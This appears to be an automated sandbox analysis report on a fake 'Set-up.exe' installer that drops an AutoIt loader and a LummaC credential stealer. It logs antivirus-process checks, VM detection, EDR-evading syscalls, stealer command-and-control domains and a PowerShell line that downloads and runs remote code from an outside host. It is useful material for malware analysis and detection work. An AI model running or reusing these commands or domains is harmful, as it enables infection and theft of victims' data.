Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com TID: 7140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 736	Thread sleep count: 6428 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 736	Thread sleep count: 3257 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4228	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	Binary or memory string: puQEMus
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000002.2216726248.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000002.2737115198.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000011.00000002.2147638856.00000000088A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

LummaC encrypted strings found

Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Auckland.com, 0000000C.00000003.2011712043.000000000408A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: carveforutune.click

Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271185	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Meetup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "BURST" Lazy	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 271185\Auckland.com + Mono + Waves + Offered + Hotel + Statement + Bookstore + Oh + Alerts + Divisions + Az 271185\Auckland.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Initiated + ..\Monitors + ..\Arrived + ..\Spoken + ..\Distribution + ..\Ranks + ..\Gotta f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com Auckland.com f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; c
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content; c			Jump to behavior

Source: Auckland.com, 0000000C.00000000.1724008457.0000000000BB3000.00000002.00000001.01000000.00000007.sdmp, Auckland.com, 0000000C.00000003.2015586201.0000000004412000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Alerts.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
